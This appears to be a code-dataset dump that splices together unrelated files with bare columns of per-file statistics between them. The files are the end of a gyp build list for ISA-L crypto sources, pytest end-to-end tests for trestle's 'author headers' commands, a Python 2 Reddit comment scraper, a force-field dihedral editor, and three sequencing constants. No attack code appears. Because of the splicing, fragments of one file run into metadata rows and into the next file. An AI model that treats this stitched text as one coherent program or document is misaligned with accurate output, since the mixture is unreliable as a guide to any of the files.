'isa-l_crypto/sha256_mb/sha256_ctx_avx.c',
'isa-l_crypto/sha256_mb/sha256_ctx_avx2.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_sse.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_avx2.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_sse.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx2.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_sse.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx2.asm',
'isa-l_crypto/sha256_mb/sha256_mb_x4_sse.asm',
'isa-l_crypto/sha256_mb/sha256_mb_x4_avx.asm',
'isa-l_crypto/sha256_mb/sha256_mb_x8_avx2.asm',
'isa-l_crypto/sha256_mb/sha256_multibinary.asm',
'isa-l_crypto/sha256_mb/sha256_ctx_avx512.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_avx512.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_avx512.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx512.asm',
'isa-l_crypto/sha256_mb/sha256_mb_x16_avx512.asm',
'isa-l_crypto/sha256_mb/sha256_opt_x1.asm',
'isa-l_crypto/sha256_mb/sha256_ni_x1.asm',
'isa-l_crypto/sha256_mb/sha256_ctx_sse_ni.c',
'isa-l_crypto/sha256_mb/sha256_ctx_avx512_ni.c',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_submit_sse_ni.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_sse_ni.asm',
'isa-l_crypto/sha256_mb/sha256_mb_mgr_flush_avx512_ni.asm',
],
},
{
'target_name': 'isa-l-sha512',
'type': 'static_library',
'includes': ['../asm.gypi'],
'include_dirs': [
'isa-l_crypto/include/',
'isa-l_crypto/sha512_mb/',
],
'sources': [
'isa-l_crypto/sha512_mb/sha512_ctx_sse.c',
'isa-l_crypto/sha512_mb/sha512_ctx_avx.c',
'isa-l_crypto/sha512_mb/sha512_ctx_avx2.c',
'isa-l_crypto/sha512_mb/sha512_ctx_sb_sse4.c',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_sse.c',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_avx2.c',
'isa-l_crypto/sha512_mb/sha512_sb_mgr_init_sse4.c',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_sse.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx2.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_sse.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx2.asm',
'isa-l_crypto/sha512_mb/sha512_mb_x2_sse.asm',
'isa-l_crypto/sha512_mb/sha512_mb_x2_avx.asm',
'isa-l_crypto/sha512_mb/sha512_mb_x4_avx2.asm',
'isa-l_crypto/sha512_mb/sha512_multibinary.asm',
'isa-l_crypto/sha512_mb/sha512_sb_mgr_submit_sse4.c',
'isa-l_crypto/sha512_mb/sha512_sb_mgr_flush_sse4.c',
'isa-l_crypto/sha512_mb/sha512_sse4.asm',
'isa-l_crypto/sha512_mb/sha512_ctx_avx512.c',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_init_avx512.c',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_submit_avx512.asm',
'isa-l_crypto/sha512_mb/sha512_mb_mgr_flush_avx512.asm',
'isa-l_crypto/sha512_mb/sha512_mb_x8_avx512.asm',
],
},
# tests
{
'target_name': 'erasure_code_base_perf',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_base_perf.c']
},
{
'target_name': 'erasure_code_base_test',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_base_test.c']
},
{
'target_name': 'erasure_code_perf',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_perf.c']
},
{
'target_name': 'erasure_code_sse_perf',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_sse_perf.c']
},
{
'target_name': 'erasure_code_sse_test',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_sse_test.c']
},
{
'target_name': 'erasure_code_test',
'type': 'executable',
'dependencies': ['isa-l-ec'],
'include_dirs': ['isa-l/include/'],
'sources': ['isa-l/erasure_code/erasure_code_test.c']
},
{
'target_name': 'md5_mb_test',
'type': 'executable',
'dependencies': ['isa-l-md5'],
'include_dirs': ['isa-l_crypto/include/'],
'sources': ['isa-l_crypto/md5_mb/md5_mb_test.c']
},
{
# TODO: dynamic linking to openssl usually needs more CFLAGS(-I) and LDFLAGS(-L)
'target_name': 'md5_mb_vs_ossl_perf',
'type': 'executable',
'dependencies': ['isa-l-md5'],
'include_dirs': ['isa-l_crypto/include/'],
'ldflags': ['-lssl','-lcrypto'],
'sources': ['isa-l_crypto/md5_mb/md5_mb_vs_ossl_perf.c']
},
{
'target_name': 'sha256_mb_test',
'type': 'executable',
'dependencies': ['isa-l-sha256'],
'include_dirs': ['isa-l_crypto/include/'],
'sources': ['isa-l_crypto/sha256_mb/sha256_mb_test.c']
}
],
}
| 45.786486
| 92
| 0.551502
| 2,258
| 16,941
| 3.713906
| 0.061116
| 0.111615
| 0.158598
| 0.097663
| 0.933938
| 0.887789
| 0.842476
| 0.796923
| 0.5855
| 0.411281
| 0
| 0.063208
| 0.317337
| 16,941
| 369
| 93
| 45.910569
| 0.661911
| 0.027035
| 0
| 0.241791
| 0
| 0
| 0.600935
| 0.508502
| 0
| 0
| 0
| 0.00271
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6a55d3d3e74c167b80e5bffcdbe5aacee03d271
| 19,482
|
py
|
Python
|
tests/trestle/core/commands/author/headers_test.py
|
guyzyl/compliance-trestle
|
b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc
|
[
"Apache-2.0"
] | 1
|
2022-01-07T01:11:03.000Z
|
2022-01-07T01:11:03.000Z
|
tests/trestle/core/commands/author/headers_test.py
|
guyzyl/compliance-trestle
|
b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc
|
[
"Apache-2.0"
] | null | null | null |
tests/trestle/core/commands/author/headers_test.py
|
guyzyl/compliance-trestle
|
b6fa6f5d8bfdb52e0a82fc0accd63c11d04d9afc
|
[
"Apache-2.0"
] | null | null | null |
# -*- mode:python; coding:utf-8 -*-
# Copyright (c) 2020 IBM Corp. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for trestle author headers command."""
import pathlib
import shutil
import sys
from uuid import uuid4
from _pytest.monkeypatch import MonkeyPatch
import pytest
from trestle.cli import Trestle
from trestle.core.commands.author.consts import START_TEMPLATE_VERSION
from trestle.utils import fs
@pytest.mark.parametrize(
'task_name, template_path, content_path, global_, setup_rc, template_validate_rc, validate_rc',
[
('catalogs', pathlib.Path('irrelevant'), pathlib.Path('irrelevant_2'), False, 1, 1, 1),
(
'test_tasks_1',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/meets_templates'),
False,
0,
0,
0
),
(
'test_tasks_2',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
0,
0
),
(
'test_tasks_3',
pathlib.Path('author/headers/bad_templates_drawio'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
1,
1
),
(
'test_tasks_4',
pathlib.Path('author/headers/bad_templates_wrong_names'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
1,
1
),
(
'test_tasks_5',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_drawio'),
False,
0,
0,
3
),
(
'test_tasks_6',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_drawio_bad_file'),
False,
0,
0,
1
),
(
'test_tasks_7',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_md'),
False,
0,
0,
3
),
(
'test_tasks_8',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_md_bad_file'),
False,
0,
0,
3
),
(
'test_tasks_9',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/passes_with_extraneous_files'),
False,
0,
0,
0
),
(
'test_tasks_10',
pathlib.Path('author/headers/bad_templates_md'),
pathlib.Path('author/headers/passes_with_extraneous_files'),
False,
0,
1,
1
),
(
'test_tasks_11',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
True,
0,
0,
0
),
(
None,
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
True,
0,
0,
0
),
(
None,
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
False,
1,
1,
1
),
]
)
def test_e2e(
task_name: str,
template_path: pathlib.Path,
content_path: pathlib.Path,
global_: bool,
setup_rc: int,
template_validate_rc: int,
validate_rc: int,
testdata_dir: pathlib.Path,
tmp_trestle_dir: pathlib.Path,
monkeypatch: MonkeyPatch
) -> None:
"""Run an E2E workflow with a number of test criteria."""
command_string_setup = 'trestle author headers setup'
command_string_create_sample = 'trestle author headers create-sample'
command_string_validate_template = 'trestle author headers template-validate'
command_string_validate_content = 'trestle author headers validate -r'
template_target_loc: pathlib.Path
if task_name:
tn_string = f' -tn {task_name}'
command_string_setup += tn_string
command_string_create_sample += tn_string
command_string_validate_template += tn_string
command_string_validate_content += tn_string
template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name / START_TEMPLATE_VERSION
else:
task_name = 'placeholder'
if global_:
global_str = ' --global'
command_string_setup += global_str
command_string_create_sample += global_str
command_string_validate_template += global_str
command_string_validate_content += global_str
template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__' / START_TEMPLATE_VERSION
test_content_loc = tmp_trestle_dir / task_name / f'{uuid4()}'
monkeypatch.setattr(sys, 'argv', command_string_setup.split())
rc = Trestle().run()
assert rc == setup_rc
if setup_rc > 0:
return
shutil.rmtree(str(template_target_loc))
shutil.copytree(str(testdata_dir / template_path), str(template_target_loc))
monkeypatch.setattr(sys, 'argv', command_string_validate_template.split())
rc = Trestle().run()
assert rc == template_validate_rc
if template_validate_rc > 0:
return
# Create sample - should always work if we are here.
monkeypatch.setattr(sys, 'argv', command_string_create_sample.split())
rc = Trestle().run()
assert rc == 0
shutil.copytree(str(testdata_dir / content_path), str(test_content_loc))
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == validate_rc
def test_abort_safely_on_missing_directory(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None:
"""Test that validation fails cleanly on a missing directory."""
task_name = 'tester'
command_string_setup = f'trestle author headers setup -tn {task_name}'
command_string_validate_content = f'trestle author headers validate -tn {task_name} -r'
task_dir = tmp_trestle_dir / task_name
monkeypatch.setattr(sys, 'argv', command_string_setup.split())
rc = Trestle().run()
assert rc == 0
shutil.rmtree(str(task_dir))
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc > 0
def test_taskpath_is_a_file(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None:
"""Test that validation fails cleanly on a missing directory."""
task_name = 'tester'
command_string_setup = f'trestle author headers setup -tn {task_name}'
command_string_validate_content = f'trestle author headers validate -tn {task_name} -r'
task_dir = tmp_trestle_dir / task_name
monkeypatch.setattr(sys, 'argv', command_string_setup.split())
rc = Trestle().run()
assert rc == 0
shutil.rmtree(str(task_dir))
task_dir.touch()
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc > 0
def test_taskpath_is_a_file_setup(tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None:
"""Test that setup fails cleanly when taskpath is a file."""
task_name = 'tester'
command_string_setup = f'trestle author headers setup -tn {task_name}'
task_dir = tmp_trestle_dir / task_name
task_dir.open('w').write('hello')
monkeypatch.setattr(sys, 'argv', command_string_setup.split())
rc = Trestle().run()
assert rc > 0
@pytest.mark.parametrize(
'sample_project, exclusions, acceptable',
[
(pathlib.Path('author/headers/global/good'), '', True),
(pathlib.Path('author/headers/global/pass_with_exceptions'), '', False),
(pathlib.Path('author/headers/global/pass_with_exceptions'), 'bad_sample', True),
(pathlib.Path('author/headers/global/pass_with_exceptions'), 'sample_indexable_1', False),
(pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested/bad', True),
(pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested/good', False),
(pathlib.Path('author/headers/global/pass_with_nested_exceptions'), 'nested', True)
]
)
def test_exclude_global(
sample_project: pathlib.Path,
exclusions: str,
acceptable: bool,
testdata_dir: pathlib.Path,
tmp_path: pathlib.Path,
monkeypatch: MonkeyPatch
) -> None:
"""Test behaviour of --all flag for trestle author headers."""
command_string = f'trestle author headers validate -r --global --trestle-root={tmp_path}'
if not exclusions == '':
exclusions_arr = exclusions.split(',')
for exclusion in exclusions_arr:
command_string += f' --exclude={exclusion.strip()}'
# delete temp dir before copy
# Required to be
shutil.rmtree(tmp_path)
shutil.copytree(str(testdata_dir / sample_project), str(tmp_path))
template_path_original = testdata_dir / 'author' / 'headers' / 'good_templates'
template_path_parent = tmp_path / '.trestle' / 'author'
template_path_parent.mkdir(parents=True)
template_path_target = template_path_parent / '__global__'
shutil.copytree(str(template_path_original), str(template_path_target))
monkeypatch.setattr(sys, 'argv', command_string.split())
rc = Trestle().run() # noqa: E800
assert (rc == 0) == acceptable # noqa: E800
@pytest.mark.parametrize(
'task_name, template_path, content_path, global_, setup_rc, template_validate_rc, validate_rc',
[
('catalogs', pathlib.Path('irrelevant'), pathlib.Path('irrelevant_2'), False, 1, 1, 1),
(
'test_tasks_1',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/meets_templates'),
False,
0,
0,
0
),
(
'test_tasks_2',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
0,
0
),
(
'test_tasks_3',
pathlib.Path('author/headers/bad_templates_drawio'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
1,
1
),
(
'test_tasks_4',
pathlib.Path('author/headers/bad_templates_wrong_names'),
pathlib.Path('author/headers/recursive_pass'),
False,
0,
1,
1
),
(
'test_tasks_5',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_drawio'),
False,
0,
0,
3
),
(
'test_tasks_6',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_drawio_bad_file'),
False,
0,
0,
1
),
(
'test_tasks_7',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_md'),
False,
0,
0,
3
),
(
'test_tasks_8',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/fails_validation_md_bad_file'),
False,
0,
0,
3
),
(
'test_tasks_9',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/passes_with_extraneous_files'),
False,
0,
0,
0
),
(
'test_tasks_10',
pathlib.Path('author/headers/bad_templates_md'),
pathlib.Path('author/headers/passes_with_extraneous_files'),
False,
0,
1,
1
),
(
'test_tasks_11',
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
True,
0,
0,
0
),
(
None,
pathlib.Path('author/headers/good_templates'),
pathlib.Path('author/headers/recursive_pass'),
True,
0,
0,
0
)
]
)
def test_e2e_backward_compatibility(
task_name: str,
template_path: pathlib.Path,
content_path: pathlib.Path,
global_: bool,
setup_rc: int,
template_validate_rc: int,
validate_rc: int,
testdata_dir: pathlib.Path,
tmp_trestle_dir: pathlib.Path,
monkeypatch: MonkeyPatch
) -> None:
"""Run an E2E workflow with existing files."""
command_string_setup = 'trestle author headers setup'
command_string_create_sample = 'trestle author headers create-sample'
command_string_validate_template = 'trestle author headers template-validate'
command_string_validate_content = 'trestle author headers validate -r'
template_target_loc: pathlib.Path
if task_name:
tn_string = f' -tn {task_name}'
command_string_setup += tn_string
command_string_create_sample += tn_string
command_string_validate_template += tn_string
command_string_validate_content += tn_string
template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name / START_TEMPLATE_VERSION
old_template_loc = tmp_trestle_dir / '.trestle' / 'author' / task_name
else:
task_name = 'placeholder'
if global_:
global_str = ' --global'
command_string_setup += global_str
command_string_create_sample += global_str
command_string_validate_template += global_str
command_string_validate_content += global_str
template_target_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__' / START_TEMPLATE_VERSION
old_template_loc = tmp_trestle_dir / '.trestle' / 'author' / '__global__'
test_content_loc = tmp_trestle_dir / task_name / f'{uuid4()}'
# Copy in template using old path
template_loc = testdata_dir / template_path
if template_loc.is_dir():
shutil.copytree(str(template_loc), str(old_template_loc))
else:
if not old_template_loc.exists():
old_template_loc.mkdir(parents=True)
if template_loc.is_file():
shutil.copy2(str(template_loc), str(old_template_loc))
assert old_template_loc.exists()
assert not template_target_loc.exists()
monkeypatch.setattr(sys, 'argv', command_string_setup.split())
rc = Trestle().run()
assert rc == setup_rc
if setup_rc > 0:
return
all_files_wo_version = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (old_template_loc.iterdir())))
all_files_w_version = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (template_target_loc.iterdir())))
if template_loc.is_dir():
all_old_files = list(filter(lambda p: p.is_file() and not fs.is_hidden(p), (template_loc.iterdir())))
all_old_files = [el.parts[-1] for el in all_old_files]
else:
all_old_files = [template_loc.parts[-1]]
assert len(all_files_wo_version) == 0
assert template_target_loc.exists()
assert all(el in [el.parts[-1] for el in all_files_w_version] for el in all_old_files)
shutil.rmtree(str(template_target_loc))
shutil.copytree(str(testdata_dir / template_path), str(template_target_loc))
monkeypatch.setattr(sys, 'argv', command_string_validate_template.split())
rc = Trestle().run()
assert rc == template_validate_rc
if template_validate_rc > 0:
return
# Create sample - should always work if we are here.
monkeypatch.setattr(sys, 'argv', command_string_create_sample.split())
rc = Trestle().run()
assert rc == 0
shutil.copytree(str(testdata_dir / content_path), str(test_content_loc))
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == validate_rc
def test_ignore_flag(testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch) -> None:
"""Test that ignored files are not validated. Validation will fail if attempted."""
task_template_folder = tmp_trestle_dir / '.trestle/author/test_task/'
test_template_folder = testdata_dir / 'author/headers/good_templates'
test_instances_folder = testdata_dir / 'author/headers/ignored_files'
task_instance_folder = tmp_trestle_dir / 'test_task'
shutil.copytree(test_template_folder, task_template_folder)
# copy all files
shutil.copytree(test_instances_folder, task_instance_folder)
command_string_validate_content = 'trestle author headers validate -tn test_task -ig ^_.*'
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == 0
# test recursive validation
command_string_validate_content = 'trestle author headers validate -tn test_task -ig ^_.* -r'
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == 0
def test_instance_no_header(
testdata_dir: pathlib.Path, tmp_trestle_dir: pathlib.Path, monkeypatch: MonkeyPatch
) -> None:
"""Test behaviour when validating instance with no header."""
task_template_folder = tmp_trestle_dir / '.trestle/author/test_task/'
test_template_folder = testdata_dir / 'author/headers/good_templates'
test_instances_folder = testdata_dir / 'author/headers/empty_headers'
task_instance_folder = tmp_trestle_dir / 'test_task'
shutil.copytree(test_template_folder, task_template_folder)
# copy all files
shutil.copytree(test_instances_folder, task_instance_folder)
command_string_validate_content = 'trestle author headers validate -tn test_task'
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == 3
command_string_validate_content = 'trestle author headers validate -tn test_task -tv 0.0.1'
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == 3
command_string_validate_content = 'trestle author headers validate -tv 0.0.1'
monkeypatch.setattr(sys, 'argv', command_string_validate_content.split())
rc = Trestle().run()
assert rc == 1
| 34.789286
| 118
| 0.631044
| 2,274
| 19,482
| 5.113896
| 0.105541
| 0.092785
| 0.083326
| 0.117637
| 0.819503
| 0.801531
| 0.792845
| 0.776421
| 0.770832
| 0.761888
| 0
| 0.011165
| 0.264449
| 19,482
| 559
| 119
| 34.851521
| 0.800349
| 0.069859
| 0
| 0.723849
| 0
| 0
| 0.218314
| 0.121815
| 0
| 0
| 0
| 0
| 0.050209
| 1
| 0.016736
| false
| 0.043933
| 0.018828
| 0
| 0.043933
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6c3b1056a6657a676b321a3372d5d879f27d637
| 2,622
|
py
|
Python
|
get_and_parse_reddit.py
|
mjperrone/personal-lexicon
|
f35f2a5bb63925066addedd301123f135dda0a3f
|
[
"MIT"
] | null | null | null |
get_and_parse_reddit.py
|
mjperrone/personal-lexicon
|
f35f2a5bb63925066addedd301123f135dda0a3f
|
[
"MIT"
] | null | null | null |
get_and_parse_reddit.py
|
mjperrone/personal-lexicon
|
f35f2a5bb63925066addedd301123f135dda0a3f
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# usage: `python get_and_parse_reddit.py reddit_user_name`
import time
import urllib2
import json
import sys
import HTMLParser
# returns (list of comments, list of comment ids)
def get_comments(url):
time.sleep(2)
request = urllib2.Request(url)
response = None
while response is None:
try:
response = urllib2.urlopen(request)
data = response.read()
except urllib2.HTTPError, err:
if err.code == 429: # too many requests
time.sleep(12)
else:
raise err
decoded = json.loads(data)
return [x['data']['body'] for x in decoded['data']['children']], [x['data']['name'] for x in decoded['data']['children']]
def scrape_comments(targetUser):
all_comments, all_ids = [], []
url = "http://www.reddit.com/user/%s/comments/.json" % targetUser + "?count=%d&after=%s"
pages = 0
after = ''
while True:
comments, ids = get_comments(url % (pages * 25, after))
if not comments or any(i in all_ids for i in ids):
break
after = ids[-1]
all_ids.extend(ids)
all_comments.extend(comments)
pages += 1
return all_comments
def get_submitted(url):
time.sleep(2)
request = urllib2.Request(url)
response = None
while response is None:
try:
response = urllib2.urlopen(request)
data = response.read()
except urllib2.HTTPError, err:
if err.code == 429: # too many requests
time.sleep(12)
else:
raise err
decoded = json.loads(data)
return [x['data']['title'] + " " + x['data']['selftext'] for x in decoded['data']['children']], [x['data']['name'] for x in decoded['data']['children']]
def scrape_submitted(targetUser):
all_comments, all_ids = [], []
url = "http://www.reddit.com/user/%s/submitted/.json" % targetUser + "?count=%d&after=%s"
pages = 0
after = ''
while True:
comments, ids = get_submitted(url % (pages * 25, after))
if not comments or any(i in all_ids for i in ids):
break
after = ids[-1]
all_ids.extend(ids)
all_comments.extend(comments)
pages += 1
return all_comments
if __name__ == '__main__':
comments = scrape_comments(sys.argv[-1])
for c in comments:
print HTMLParser.HTMLParser().unescape(c)
for c in scrape_submitted(sys.argv[-1]):
print HTMLParser.HTMLParser().unescape(c)
| 30.137931
| 157
| 0.57132
| 326
| 2,622
| 4.493865
| 0.263804
| 0.045051
| 0.016382
| 0.035495
| 0.768601
| 0.722184
| 0.722184
| 0.722184
| 0.722184
| 0.722184
| 0
| 0.01694
| 0.30206
| 2,622
| 86
| 158
| 30.488372
| 0.783607
| 0.061404
| 0
| 0.724638
| 0
| 0
| 0.095781
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.072464
| null | null | 0.028986
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6c5c37d7ea1e4f589c12ad97131c573bffffc4d
| 4,306
|
py
|
Python
|
diagonal_term.py
|
mertyigit/RNAopt
|
788711ed4d49728b76adc7989469748118722ceb
|
[
"MIT"
] | null | null | null |
diagonal_term.py
|
mertyigit/RNAopt
|
788711ed4d49728b76adc7989469748118722ceb
|
[
"MIT"
] | null | null | null |
diagonal_term.py
|
mertyigit/RNAopt
|
788711ed4d49728b76adc7989469748118722ceb
|
[
"MIT"
] | null | null | null |
import datetime
def diagonalterm(first, second, third, forth, fold, value, ff_file):
"""Assigns values to the diagonal terms part of the force field file."""
c=1
n=0
position=0
try:
file = open(ff_file,"r+")
while c==1 and n<5:
position = file.read().find(first.ljust(9)+second.ljust(9)+third.ljust(9)+forth.ljust(9))
file.seek(position+50)
if file.read(1) == fold:
c=0
if file.read(1) != fold:
n=n+1
if c==0:
file.seek(position)
try:
position = position + 40
file.seek(position)
file.write(('%.3f' % float(value)).rjust(6))
finally:
file.close()
try:
log_file = open('log.dat',"a")
log_file.write(first+' '+second+' '+third+' '+forth+' value has been changed to '+value
+" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n")
finally:
log_file.close()
if c==1:
print("Error: Dihedral not found!!")
file.close()
except IOError:
pass
def diagonalterm2(first, second, third, forth, fold, value, n_value, phase_value, ff_file):
"""Assigns values to the diagonal terms part of the force field file."""
c=1
n=0
position=0
try:
file = open(ff_file,"r+")
while c==1 and n<5:
dihedral_name = first.ljust(9)+second.ljust(9)+third.ljust(9)+forth.ljust(9)
position = position+file.read().find(dihedral_name)
position=position+50
file.seek(position)
if file.read(1) == fold:
c=0
if file.read(1) != fold:
n=n+1
if c==0:
## Assigns the force constant value to the specified dihedral term
position=position-50
file.seek(position)
try:
position = position + 40
file.seek(position)
file.write(('%.3f' % float(value)).rjust(6))
log_file = open('log.dat',"a")
log_file.write(first+' '+second+' '+third+' '+forth+' force constant value has been changed to '+value
+" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n")
finally:
log_file.close()
## Assigns the fold value to the specified dihedral term
position=position-40
file.seek(position)
try:
position = position + 50
file.seek(position)
file.write(str(int(n_value)))
log_file = open('log.dat',"a")
log_file.write(first+' '+second+' '+third+' '+forth+' fold value has been changed to '+n_value
+" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n")
finally:
log_file.close()
## Assigns the fold value to the specified dihedral term
position=position-50
file.seek(position)
try:
position = position + 54
file.seek(position)
file.write(('%.2f' % float(phase_value)).rjust(6))
finally:
file.close()
try:
log_file = open('log.dat',"a")
log_file.write(first+' '+second+' '+third+' '+forth+' phase value has been changed to '+phase_value
+" ("+datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")+")\n")
finally:
log_file.close()
if c==1:
print("Error: Dihedral - "+dihedral_name+"- not found!!")
file.close()
except IOError:
pass
| 34.725806
| 124
| 0.43451
| 452
| 4,306
| 4.084071
| 0.174779
| 0.045504
| 0.086674
| 0.068256
| 0.874865
| 0.836403
| 0.753521
| 0.716685
| 0.716685
| 0.716685
| 0
| 0.022784
| 0.439387
| 4,306
| 124
| 125
| 34.725806
| 0.741922
| 0.071064
| 0
| 0.811111
| 0
| 0
| 0.092346
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022222
| false
| 0.022222
| 0.011111
| 0
| 0.033333
| 0.022222
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6d02c3e00cd8b8e118020b2ed9206cf107180ae
| 2,416
|
py
|
Python
|
tests/test.py
|
yulijia/VarBen
|
a41491d6022822be8be3c5a0dd7e6e06987374cd
|
[
"MIT"
] | null | null | null |
tests/test.py
|
yulijia/VarBen
|
a41491d6022822be8be3c5a0dd7e6e06987374cd
|
[
"MIT"
] | null | null | null |
tests/test.py
|
yulijia/VarBen
|
a41491d6022822be8be3c5a0dd7e6e06987374cd
|
[
"MIT"
] | null | null | null |
flowOrder="TACGTACGTCTGAGCATCGATCGATGTACAGC"
barcode="CTAAGGTAAC"
libKey="TCAG"
